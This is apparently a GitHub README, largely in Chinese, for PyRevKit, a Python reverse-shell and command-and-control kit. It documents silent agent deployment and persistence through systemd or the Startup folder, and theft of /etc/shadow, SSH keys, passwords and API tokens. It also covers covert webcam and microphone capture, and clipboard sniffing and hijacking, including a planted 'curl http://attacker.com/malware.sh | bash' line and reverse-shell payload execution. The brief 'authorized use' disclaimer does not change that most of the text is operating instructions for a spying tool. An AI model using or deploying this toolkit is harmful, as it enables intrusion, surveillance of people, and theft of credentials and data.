infosecm/PyRevKit
GitHub: infosecm/PyRevKit
一个具备加密通信、文件传输、媒体捕获和高级侦察能力的安全反向 Shell 工具包,用于授权安全测试和教育目的。
Stars: 0 | Forks: 0
# PyRevKit
[](https://www.python.org/downloads/)
[](https://opensource.org/licenses/MIT)
[](https://github.com/yourusername/pyrevkit)
一个功能强大、安全且具备加密 WebSocket 通信、文件传输、媒体捕获、高级侦察和身份验证系统的反向 Shell 工具包。
## 🎯 功能特性
### 核心功能
- **🔐 安全通信**:TLS/SSL 加密的 WebSocket 连接
- **🔑 身份验证**:带加盐的 PBKDF2-SHA256 哈希凭证
- **📁 文件传输**:带 base64 编码的双向文件上传/下载
- **🔄 自动重连**:指数退避重试机制
- **🎭 持久化目标**:目标在操作员会话之间保持连接
- **🤖 自主部署**:预配置凭证,用于静默部署
- **📊 多会话**:多个操作员可以按顺序连接到同一个目标
- **🛡️ 安全执行**:命令超时保护(默认 30 秒)
### 媒体捕获
- **📸 摄像头捕获**:通过目标摄像头拍照
- **🎤 音频录制**:从目标麦克风录制音频(1-300 秒)
- **💾 自动存储**:所有媒体保存在 `loot/` 目录中
### 高级侦察
- **🔍 文件搜索**:按名称模式搜索文件,支持自定义限制
- **📝 内容搜索**:在文本文件中搜索敏感数据
- **📊 系统信息**:全面的系统分析(OS、硬件、网络、存储)
- **📋 剪贴板访问**:在目标机器上读取和写入剪贴板内容
## 📋 目录
- [安装](#installation)
- [快速开始](#quick-start)
- [架构](#architecture)
- [用法](#usage)
- [服务端设置](#server-setup)
- [目标部署](#target-deployment)
- [客户端连接](#client-connection)
- [文件传输命令](#file-transfer-commands)
- [媒体捕获命令](#media-capture-commands)
- [侦察命令](#reconnaissance-commands)
- [剪贴板命令](#clipboard-commands)
- [示例](#examples)
- [配置](#configuration)
- [安全注意事项](#security-considerations)
- [故障排除](#troubleshooting)
- [贡献](#contributing)
- [许可证](#license)
## 🚀 安装
### 要求
**核心(必需):**
- Python 3.7 或更高版本
- `websockets` 库
**可选(用于高级功能):**
- `opencv-python` - 摄像头捕获
- `sounddevice`, `scipy`, `numpy` - 音频录制
- `pyperclip` - 剪贴板管理
### Linux / macOS
```
# Clone 仓库
git clone https://github.com/yourusername/pyrevkit.git
cd pyrevkit
# Install 依赖
pip3 install websockets
# 或者使用 requirements.txt
pip3 install -r requirements.txt
# 可选:Install 媒体捕获依赖
pip3 install -r requirements-media.txt
# 可选:Install 所有高级功能
pip3 install -r requirements-advanced.txt
# Generate SSL 证书
openssl req -x509 -newkey rsa:4096 -nodes \
-out server.pem -keyout server.pem -days 365 \
-subj "/CN=YOUR_SERVER_IP"
```
### Windows
```
# Clone 仓库
git clone https://github.com/yourusername/pyrevkit.git
cd pyrevkit
# Install 依赖
pip install websockets
# 或者使用 requirements.txt
pip install -r requirements.txt
# 可选:Install 媒体捕获依赖
pip install -r requirements-media.txt
# 可选:Install 所有高级功能
pip install -r requirements-advanced.txt
# Generate SSL 证书(需要 OpenSSL for Windows)
openssl req -x509 -newkey rsa:4096 -nodes -out server.pem -keyout server.pem -days 365
```
### Docker(可选)
```
docker build -t pyrevkit .
docker run -d -p 8765:8765 --name pyrevkit-server pyrevkit
```
## ⚡ 快速开始
### 1. 设置凭证
```
# 添加操作员凭据
python pyrev_server.py -creds operator admin SecurePassword123!
# 添加目标凭据
python pyrev_server.py -creds target machineA TargetPassword456!
```
### 2. 启动服务器
```
python pyrev_server.py
```
输出:
```
[+] Directories ready: loot/, payloads/
[+] Server running on wss://0.0.0.0:8765
[+] Credentials file: credentials.json
[+] Loot directory: loot/
[+] Payloads directory: payloads/
```
### 3. 连接目标
```
python pyrev_target.py
```
交互模式:
```
Server host [192.168.2.110]:
Server port [8765]:
--- Authentication ---
Login: machineA
Password: [hidden]
[+] Connected and authenticated. Waiting for commands...
```
### 4. 作为操作员连接
```
python pyrev_client.py
```
```
--- Authentication ---
Login: admin
Password: [hidden]
[+] Connected to server
Target ID: machineA
[+] Interactive session started
>>> whoami
root
>>>
```
## 🏗️ 架构
```
┌─────────────────┐ ┌────────────────┐ ┌────────────────┐
│ Operator │ │ C2 Server │ │ Target │
│ │◄───────►│ - Auth │◄───────►│ |
│ │ WSS │ - Relay │ WSS │ │
│ pyrev_client │ │ - Files │ │ pyrev_target │
└─────────────────┘ │ │ └────────────────┘
| pyrev_server |
└────────────────┘
│
┌──────┴──────┐
│ │
loot/ payloads/
```
### 组件
- **pyrev_server.py**:处理身份验证、中继和文件操作的中心 C2 服务器
- **pyrev_client.py**:用于发送命令和管理文件的操作员接口
- **pyrev_target.py**:部署在目标机器上的 Agent
### 文件结构
```
pyrevkit/
├── pyrev_server.py # C2 Server
├── pyrev_client.py # Operator client
├── pyrev_target.py # Target agent
├── requirements.txt # Python dependencies
├── server.pem # SSL certificate (generated)
├── credentials.json # Hashed credentials (auto-created)
├── loot/ # Downloaded files from targets
└── payloads/ # Files to upload to targets
```
## 📖 用法
### 服务端设置
#### 启动服务器
```
python pyrev_server.py [OPTIONS]
```
**选项:**
- `-creds ROLE LOGIN PASSWORD` - 添加/更新凭证
- `-host HOST` - 服务器主机(默认:0.0.0.0)
- `-port PORT` - 服务器端口(默认:8765)
- `-cert FILE` - SSL 证书文件(默认:server.pem)
**示例:**
```
# 添加操作员
python pyrev_server.py -creds operator alice MyPass123
# 添加目标
python pyrev_server.py -creds target prod-web-01 TargetPass456
# 在自定义端口启动
python pyrev_server.py -host 0.0.0.0 -port 9000
```
#### 凭证管理
凭证使用 PBKDF2-SHA256 哈希存储在 `credentials.json` 中:
```
{
"operator": {
"admin": {
"hash": "0b2ad92a1f3e68487a780b3c6d7ab33c...",
"salt": "e48cbd452e38b9337130dcb82f3b761c..."
}
},
"target": {
"machineA": {
"hash": "f61a20f536c15913156a282b3eb84b03...",
"salt": "ff789cd49679ebadd2f60b02094ae21b..."
}
}
}
```
### 目标部署
#### 交互模式
```
python pyrev_target.py
```
脚本将提示输入:
- 服务器主机
- 服务器端口
- 登录凭证
#### 自主模式(静默部署)
编辑 `pyrev_target.py` 中的配置部分:
```
# ========== CONFIGURATION ==========
TARGET_ID = "machineA"
SERVER_HOST = "192.168.2.110"
SERVER_PORT = 8765
AUTO_LOGIN = "machineA" # Fill for auto-connect
AUTO_PASSWORD = "TargetPass456" # Fill for auto-connect
# ====================================
```
然后只需运行:
```
python pyrev_target.py
```
输出:
```
[+] Auto-connecting to 192.168.2.110:8765 as machineA
[+] Connected and authenticated. Waiting for commands...
```
**持久化示例:**
Linux(systemd):
```
sudo nano /etc/systemd/system/pyrevkit.service
```
```
[Unit]
Description=PyRevKit Agent
After=network.target
[Service]
Type=simple
ExecStart=/usr/bin/python3 /opt/pyrevkit/pyrev_target.py
Restart=always
User=nobody
[Install]
WantedBy=multi-user.target
```
```
sudo systemctl enable pyrevkit
sudo systemctl start pyrevkit
```
Windows(启动):
```
# 添加到:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\pyrevkit.bat
@echo off
cd C:\Tools\pyrevkit
python pyrev_target.py
```
### 客户端连接
```
python pyrev_client.py
```
**会话流程:**
1. 输入服务器连接详情
2. 使用操作员凭证进行身份验证
3. 指定要连接的目标 ID
4. 交互式命令提示符
```
>>> help
```
### 文件传输命令
#### 从目标下载文件
```
>>> download /etc/passwd
[*] Requesting download: /etc/passwd
[✓] Downloaded passwd (2.45 KB) → loot/machineA_passwd
```
**功能:**
- 使用目标前缀自动重命名
- 显示大小
- 最大文件大小:10MB
- 支持绝对和相对路径
#### 上传文件到目标
```
>>> upload exploit.sh
[*] Uploading: exploit.sh
[✓] Saved exploit.sh (5.67 KB) → downloads/exploit.sh
```
文件从服务器的 `payloads/` 目录上传到目标的 `downloads/` 文件夹。
#### 列出文件
```
# 列出已下载文件(服务器端)
>>> ls_loot
Files in loot/:
- machineA_passwd (2.45 KB)
- machineA_config.txt (1.23 KB)
# 列出可用 payloads
>>> ls_payloads
Files in payloads/:
- exploit.sh (5.67 KB)
- payload.exe (234.56 KB)
```
### 媒体捕获命令
#### 摄像头捕获
从目标的摄像头捕获照片:
```
>>> webcam
[*] Capturing webcam...
[✓] Webcam captured (156.78 KB) → loot/machineA_webcam_20260403_143022.jpg
```
**功能:**
- JPEG 格式
- 摄像头原生分辨率
- 自动时间戳命名
- 保存到 `loot/` 目录
**要求:**
- 目标必须安装 `opencv-python`:`pip install opencv-python`
- 摄像头必须可访问(未被其他应用程序使用)
#### 音频录制
从目标的麦克风录制音频:
```
>>> record 30
[*] Recording 30 seconds of audio...
[✓] Audio recorded (5.05 MB) → loot/machineA_audio_20260403_143522.wav
```
**参数:**
- 持续时间:1 到 300 秒(最长 5 分钟)
- 格式:WAV, 44.1kHz, 16-bit, 立体声
- 大小约:每秒 ~170 KB
**示例:**
```
>>> record 10 # 10 seconds (~1.7 MB)
>>> record 60 # 1 minute (~10 MB)
>>> record 300 # 5 minutes (max, ~50 MB)
```
**要求:**
- 目标必须安装音频库:
pip install sounddevice scipy numpy
### 侦察命令
#### 文件搜索
按名称模式搜索文件:
```
>>> search *.pdf
[*] Searching for files: *.pdf
[✓] Found 15 results:
1. C:\Users\John\Documents\report.pdf (523.45 KB)
2. C:\Users\John\Desktop\invoice.pdf (102.34 KB)
...
```
**带自定义限制:**
```
>>> search *.pem --limit 200
[*] Searching for files: *.pem (limit: 200)
[✓] Found 79 results:
1. /home/user/cert1.pem (5.61 KB)
...
79. /home/user/cert79.pem (3.24 KB)
```
**支持的模式:**
- `*.pdf` - 所有 PDF 文件
- `*.docx` - 所有 Word 文档
- `password*` - 以 "password" 开头的文件
- `*config*` - 包含 "config" 的文件
- `secret.txt` - 特定文件
**默认限制:** 100 个结果(使用 `--limit N` 自定义)
#### 内容搜索
在文本文件中搜索敏感数据:
```
>>> search --content "password"
[*] Searching for content: password
[✓] Found 8 results:
1. C:\config.txt:45
database_password=admin123
2. C:\Users\John\notes.txt:12
Remember to change password next week
...
```
**带自定义限制:**
```
>>> search --content "api_key" --limit 300
[*] Searching for content: api_key (limit: 300)
[✓] Found 45 results:
1. /app/config.json:23
"api_key": "sk_live_abc123..."
...
```
**支持的文件类型:**
- 文本文件:`.txt`, `.log`, `.conf`, `.config`, `.ini`
- 代码文件:`.py`, `.sh`, `.bat`, `.cmd`
- 数据文件:`.xml`, `.json`
**限制:**
- 最大文件大小:每个文件 10MB
- 仅限文本文件(跳过二进制文件)
#### 系统信息
收集全面的系统信息:
```
>>> sysinfo
[*] Gathering system information...
[✓] System Information - machineA
System:
os: Windows
os_version: 10.0.19045
os_release: 10
hostname: DESKTOP-ABC123
architecture: AMD64
processor: Intel64 Family 6 Model 158 Stepping 10
python_version: 3.11.0
User:
username: admin
home: C:\Users\admin
Network:
hostname: DESKTOP-ABC123
local_ip: 192.168.1.100
Storage:
C: 120.5GB free / 512.0GB total
D: 50.2GB free / 1024.0GB total
Environment:
PATH: C:\Windows\system32;C:\Windows;...
TEMP: C:\Users\admin\AppData\Local\Temp
```
**收集的信息:**
- 操作系统详情
- 硬件规格
- 当前用户和主目录
- 网络配置
- 存储/磁盘空间
- 环境变量
**无需额外依赖** - 仅使用 Python 标准库。
### 剪贴板命令
#### 读取剪贴板
从目标捕获剪贴板内容:
```
>>> clipboard
[*] Reading clipboard...
[✓] Clipboard content:
MySecretPassword123!
```
**用例:**
- 捕获复制的密码
- 拦截复制的凭证
- 监控用户活动
- 捕获 API 密钥和 token
#### 写入剪贴板
向目标剪贴板注入内容:
```
>>> clipboard set "Hello from operator"
[*] Setting clipboard...
[✓] Clipboard updated
```
**用例:**
- 替换加密货币地址
- 注入钓鱼 URL
- 修改复制的命令
- 社会工程攻击
**要求:**
- 目标必须安装 `pyperclip`:`pip install pyperclip`
- 需要图形环境(非无头服务器)
- **Linux:** 需要 `xclip` 或 `xsel`:
sudo apt-get install xclip
#### 所有可用命令
| Command | Description | Example |
|---------|-------------|---------|
| **Basic Commands** |
| `` | Execute shell command | `whoami`, `ls -la` |
| `help` | Show help message | `help` |
| `exit` / `quit` | Disconnect from target | `exit` |
| **File Transfer** |
| `download ` | Download file from target | `download /etc/shadow` |
| `upload ` | Upload file to target | `upload payload.exe` |
| `ls_loot` | List downloaded files | `ls_loot` |
| `ls_payloads` | List available payloads | `ls_payloads` |
| **Media Capture** |
| `webcam` | Capture photo via webcam | `webcam` |
| `record ` | Record audio (1-300s) | `record 30` |
| **Reconnaissance** |
| `search ` | Search files by name | `search *.pdf` |
| `search --limit ` | Search with custom limit | `search *.log --limit 500` |
| `search --content ` | Search file contents | `search --content "password"` |
| `search --content --limit ` | Content search with limit | `search --content "api" --limit 200` |
| `sysinfo` | Gather system information | `sysinfo` |
| **Clipboard** |
| `clipboard` | Read clipboard content | `clipboard` |
| `clipboard set ` | Set clipboard content | `clipboard set "payload"` |
## 💡 示例
### 示例 1:基本侦察
```
>>> whoami
root
>>> uname -a
Linux target 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
>>> pwd
/root
>>> ls -la
total 48
drwx------ 5 root root 4096 Apr 3 10:30 .
drwxr-xr-x 19 root root 4096 Mar 15 08:12 ..
-rw------- 1 root root 220 Mar 15 08:12 .bash_logout
```
### 示例 2:数据窃取
```
>>> download /etc/passwd
[✓] Downloaded passwd (2.45 KB) → loot/machineA_passwd
>>> download /etc/shadow
[✓] Downloaded shadow (1.89 KB) → loot/machineA_shadow
>>> download /home/user/.ssh/id_rsa
[✓] Downloaded id_rsa (3.24 KB) → loot/machineA_id_rsa
>>> ls_loot
Files in loot/:
- machineA_passwd (2.45 KB)
- machineA_shadow (1.89 KB)
- machineA_id_rsa (3.24 KB)
```
### 示例 3:Payload 部署
```
>>> ls_payloads
Files in payloads/:
- reverse_shell.sh (265 bytes)
- privilege_escalation.py (3.21 KB)
>>> upload reverse_shell.sh
[✓] Saved reverse_shell.sh (0.26 KB) → downloads/reverse_shell.sh
>>> chmod +x downloads/reverse_shell.sh
>>> bash downloads/reverse_shell.sh 192.168.1.100 4444
```
### 示例 4:多会话工作流
终端 1(服务器):
```
$ python pyrev_server.py
[+] Server running on wss://0.0.0.0:8765
[+] Target machineA connected
```
终端 2(目标):
```
$ python pyrev_target.py
[+] Auto-connecting to 192.168.2.110:8765 as machineA
[+] Connected and authenticated. Waiting for commands...
```
终端 3(操作员 1):
```
$ python pyrev_client.py
>>> whoami
root
>>> exit
```
终端 4(操作员 2 - 连接到同一目标):
```
$ python pyrev_client.py
>>> pwd
/root
```
### 示例 5:媒体监控
```
# Capture 摄像头照片
>>> webcam
[✓] Webcam captured (156.78 KB) → loot/machineA_webcam_20260403_143022.jpg
# 录制 30 秒音频
>>> record 30
[✓] Audio recorded (5.05 MB) → loot/machineA_audio_20260403_143522.wav
# 检查谁在使用机器
# Download 并查看 loot/ 目录中的摄像头图像
```
### 示例 6:凭证收集
```
# 搜索 SSH keys
>>> search id_rsa
[✓] Found 3 results:
1. /home/john/.ssh/id_rsa (3.24 KB)
2. /home/admin/.ssh/id_rsa (2.98 KB)
# 搜索证书
>>> search *.pem --limit 100
[✓] Found 79 results:
1. /etc/ssl/private/server.pem (5.61 KB)
...
# 在 config 文件中搜索密码
>>> search --content "password" --limit 200
[✓] Found 45 results:
1. /app/config.json:23
"database_password": "admin123"
2. /home/user/.bashrc:15
export DB_PASSWORD="secret"
...
# Download 敏感文件
>>> download /home/john/.ssh/id_rsa
[✓] Downloaded id_rsa (3.24 KB) → loot/machineA_id_rsa
```
### 示例 7:系统分析
```
# 收集完整系统信息
>>> sysinfo
[✓] System Information - machineA
System:
os: Windows 10
hostname: PROD-WEB-01
architecture: AMD64
Network:
local_ip: 192.168.1.100
Storage:
C: 50.2GB free / 512.0GB total
# 搜索有趣的配置文件
>>> search *.conf --limit 50
>>> search config.json
>>> search settings.ini
```
### 示例 8:剪贴板监控
```
# Monitor 剪贴板以获取复制的凭据
>>> clipboard
[✓] Clipboard content:
john.doe@example.com
# 等待用户复制密码...
>>> clipboard
[✓] Clipboard content:
MySecretPassword123!
# 用恶意 payload 替换剪贴板
>>> clipboard set "curl http://attacker.com/malware.sh | bash"
[✓] Clipboard updated
```
### 示例 9:完整侦察工作流
```
# 第 1 步:系统分析
>>> sysinfo
[✓] System Information collected
# 第 2 步:搜索敏感文件
>>> search *.pem --limit 200
>>> search *.key --limit 100
>>> search id_rsa
# 第 3 步:在文件中搜索凭据
>>> search --content "password" --limit 300
>>> search --content "api_key" --limit 200
>>> search --content "secret" --limit 200
# 第 4 步:媒体监控
>>> webcam
>>> record 60
# 第 5 步:剪贴板监控
>>> clipboard
# 第 6 步:Download 所有发现的内容
>>> download /path/to/sensitive/file1
>>> download /path/to/sensitive/file2
```
### 示例 10:高级搜索操作
```
# 查找所有 log 文件
>>> search *.log --limit 500
[✓] Found 342 results:
...
# 搜索数据库连接字符串
>>> search --content "mysql://" --limit 100
>>> search --content "postgresql://" --limit 100
>>> search --content "mongodb://" --limit 100
# 查找配置文件
>>> search *config* --limit 200
>>> search *.ini --limit 100
>>> search *.conf --limit 100
# 搜索 API keys 和 tokens
>>> search --content "Bearer " --limit 150
>>> search --content "token" --limit 200
>>> search --content "Authorization:" --limit 100
```
## ⚙️ 配置
### 服务器配置
编辑 `pyrev_server.py` 常量:
```
LOOT_DIR = "loot" # Directory for downloaded files
PAYLOADS_DIR = "payloads" # Directory for payloads to upload
CREDS_FILE = "credentials.json"
```
### 目标配置
编辑 `pyrev_target.py` 头部:
```
TARGET_ID = "machineA" # Unique identifier
SERVER_HOST = "192.168.2.110" # C2 server address
SERVER_PORT = 8765 # C2 server port
AUTO_LOGIN = "" # Set for autonomous mode
AUTO_PASSWORD = "" # Set for autonomous mode
DOWNLOAD_DIR = "downloads" # Received files directory
```
### 客户端配置
编辑 `pyrev_client.py` 常量:
```
OP_ID = "operator1" # Operator identifier
```
## 🔒 安全注意事项
### ⚠️ 重要警告
1. **仅供教育/授权使用**:仅在你拥有或获得明确测试许可的系统上使用
2. **凭证存储**:密码经过哈希处理但存储在磁盘上
3. **SSL 证书**:在生产环境中使用有效证书
4. **网络安全**:考虑防火墙规则和网络分段
### 安全特性
✅ **TLS/SSL 加密**:所有流量通过 WSS 加密
✅ **密码哈希**:PBKDF2-SHA256,100,000 次迭代
✅ **每用户盐值**:唯一的 32 字节盐值防止彩虹表攻击
✅ **时序攻击防护**:常量时间比较
✅ **命令超时**:命令执行限制 30 秒
✅ **文件大小限制**:最大文件传输大小 10MB
### 建议
- 使用强且唯一的密码(16 个字符以上)
- 定期轮换凭证
- 使用防火墙规则限制服务器访问
- 监控服务器日志以发现可疑活动
- 在生产环境中使用有效的 SSL 证书(非自签名)
- 设置严格的文件权限:`chmod 600 credentials.json`
## 🐛 故障排除
### 连接问题
**问题**:`[ERROR] Connection rejected`
**解决方案**:
```
# 验证 server 正在运行
netstat -tulpn | grep 8765
# 检查防火墙
sudo ufw allow 8765/tcp
# 验证证书存在
ls -l server.pem
```
**问题**:`cannot call recv while another coroutine is running`
**解决方案**:服务器通过取消旧的中继自动处理此问题。更新到最新版本。
### 身份验证问题
**问题**:`Authentication`
**解决方案**:
```
# 验证凭据存在
cat credentials.json
# 重新添加凭据
python pyrev_server.py -creds target machineA NewPassword123
# 检查登录名/密码中的拼写错误
```
### 文件传输问题
**问题**:`[✗] File not found`
**解决方案**:
```
# 对于 Download:验证目标上存在文件
>>> ls /path/to/file
# 对于 Upload:验证 payloads/ 中存在文件
ls -l payloads/
```
**问题**:`[✗] File too large`
**解决方案**:超过 10MB 的文件会被拒绝。压缩或分割文件:
```
# 在目标上
tar -czf archive.tar.gz large_directory/
>>> download archive.tar.gz
```
### 媒体捕获问题
**问题**:`[✗] OpenCV not installed`
**解决方案**:
```
# 在目标机器上
pip install opencv-python
```
**问题**:`[✗] Cannot access webcam`
**解决方案**:
- 关闭其他使用摄像头的应用程序
- 验证摄像头已连接:`ls /dev/video*` (Linux)
- 检查用户权限:`sudo usermod -a -G video $USER` (Linux)
**问题**:`[✗] Audio libraries not installed`
**解决方案**:
```
# 在目标机器上
pip install sounddevice scipy numpy
# Linux 可能还需要
sudo apt-get install portaudio19-dev python3-dev
```
**问题**:音频录制失败或无声音
**解决方案**:
- 检查麦克风是否静音
- 验证默认音频设备:`python -c "import sounddevice as sd; print(sd.query_devices())"`
- 手动测试:运行 `test_media.py` 脚本
### 搜索问题
**问题**:文件明显存在但未找到结果
**解决方案**:
- 检查文件权限(目标可能无权访问)
- 增加限制:`search *.pdf --limit 500`
- 验证模式语法(不区分大小写)
- 尝试更宽泛的模式:`search *password*`
**问题**:内容搜索返回过多结果
**解决方案**:
- 使用更具体的搜索词
- 调整限制:`search --content "exact_phrase" --limit 50`
**问题**:搜索速度慢
**解决方案**:这对于大型文件系统是正常的。建议:
- 减少限制:`--limit 100`
- 仅搜索特定文件类型
- 使用更具体的模式
### 剪贴板问题
**问题**:`[✗] Clipboard library not installed`
**解决方案**:
```
# 在目标机器上
pip install pyperclip
```
**问题**:`[✗] Clipboard read timeout`
**解决方案**:
- **Linux**:安装剪贴板工具
sudo apt-get install xclip # For X11
sudo apt-get install wl-clipboard # For Wayland
- 验证图形环境:`echo $DISPLAY`(应显示 `:0` 或类似内容)
- 无头服务器不支持
**问题**:剪贴板命令挂起
**解决方案**:
- 更新到最新版本(已添加超时保护)
- 运行诊断:在目标上运行 `python test_clipboard.py`
- 确保目标不是无头的
**问题**:剪贴板正常但返回空
**解决方案**:
- 剪贴板确实为空
- 剪贴板包含非文本数据(图像、文件)
- 手动复制一些文本并重试
### 系统信息问题
**问题**:sysinfo 输出中缺少某些信息
**解决方案**:这是正常的。信息可用性取决于:
- 操作系统
- 用户权限
- Python 版本
无需修复 - 系统提供其可访问的信息。
## 🤝 贡献
欢迎贡献!请遵循以下准则:
1. Fork 本仓库
2. 创建一个功能分支(`git checkout -b feature/amazing-feature`)
3. 提交你的更改(`git commit -m 'Add amazing feature'`)
4. 推送到分支(`git push origin feature/amazing-feature`)
5. 打开一个 Pull Request
## 📄 许可证
本项目采用 MIT 许可证授权 - 详情请参阅 [LICENSE](LICENSE) 文件。
## ⚖️ 法律免责声明
此工具仅用于教育和授权安全测试目的。未经授权访问计算机系统是非法的。作者不承担任何责任,也不对因本程序造成的任何误用或损害负责。请负责任地使用,并仅在你拥有或获得明确测试许可的系统上使用。
## 📚 其他资源
### 文档
- [MEDIA_CAPTURE.md](MEDIA_CAPTURE.md) - 摄像头和音频功能完整指南
- [ADVANCED_FEATURES.md](ADVANCED_FEATURES.md) - 文件搜索、sysinfo 和剪贴板文档
- [CLIPBOARD_TROUBLESHOOTING.md](CLIPBOARD_TROUBLESHOOTING.md) - 全面的剪贴板故障排除
- [QUICKREF.md](QUICKREF.md) - 所有命令的快速参考指南
### 测试工具
- `test_media.py` - 测试摄像头和音频功能
- `test_clipboard.py` - 诊断剪贴板功能
### 依赖参考
**核心(必需):**
```
pip install websockets>=12.0
```
**媒体捕获(可选):**
```
pip install opencv-python>=4.5.0 # Webcam
pip install sounddevice>=0.4.6 # Audio
pip install scipy>=1.7.0 numpy>=1.21.0 # Audio processing
```
**高级功能(可选):**
```
pip install pyperclip>=1.8.0 # Clipboard
```
**所有可选功能:**
```
pip install -r requirements-advanced.txt
```
### 协议规范
- [PBKDF2 规范](https://tools.ietf.org/html/rfc2898)
- [WebSocket 协议](https://tools.ietf.org/html/rfc6455)
- [TLS 最佳实践](https://wiki.mozilla.org/Security/Server_Side_TLS)
## 🎯 完整功能矩阵
| Feature | Dependencies | Platforms | Status |
|---------|--------------|-----------|--------|
| **Core Features** |
| Shell Commands | None | All | ✅ |
| File Transfer | None | All | ✅ |
| Authentication | None | All | ✅ |
| Auto-Reconnect | None | All | ✅ |
| **Media Capture** |
| Webcam | opencv-python | All* | ✅ |
| Audio Recording | sounddevice, scipy, numpy | All* | ✅ |
| **Reconnaissance** |
| File Search | None | All | ✅ |
| Content Search | None | All | ✅ |
| System Info | None | All | ✅ |
| Clipboard | pyperclip | GUI only** | ✅ |
\* 摄像头/麦克风必须可用
\*\* 需要图形环境(非无头模式)
### 特定平台说明
**Windows:**
- 安装依赖后所有功能开箱即用
- 剪贴板无需额外工具即可工作
- 捕获期间摄像头 LED 可能会亮起
**Linux:**
- 摄像头要求用户在 `video` 组中
- 音频要求用户在 `audio` 组中
- 剪贴板需要 `xclip` (X11) 或 `wl-clipboard` (Wayland)
- 无头服务器:媒体和剪贴板功能不可用
**macOS:**
- 所有功能原生支持
- 首次使用需要权限提示(摄像头、麦克风、剪贴板)
- 剪贴板使用原生 `pbcopy`/`pbpaste`
## 🙏 致谢
- 使用 Python 的 `asyncio` 和 `websockets` 库构建
- 灵感来源于现代 C2 框架
- 感谢安全研究社区
**⭐ 如果你发现这个项目有用,请考虑给它一个 Star!**
**📧 联系方式**:your.email@example.com
**🐛 问题反馈**:[GitHub Issues](https://github.com/yourusername/pyrevkit/issues)
**💬 讨论**:[GitHub Discussions](https://github.com/yourusername/pyrevkit/discussions)
标签:DNS 反向解析, HTTP工具, IP 地址批量处理, Python, WebSocket, 依赖分析, 剪贴板访问, 加密通信, 反向Shell, 嗅探欺骗, 多会话管理, 屏幕截图, 攻击路径可视化, 教育用途, 数据窃取, 文件传输, 无后门, 无线安全, 权限维持, 系统信息收集, 网络安全, 网络安全审计, 自动重连, 请求拦截, 远程控制, 键盘记录, 隐私保护, 黑客工具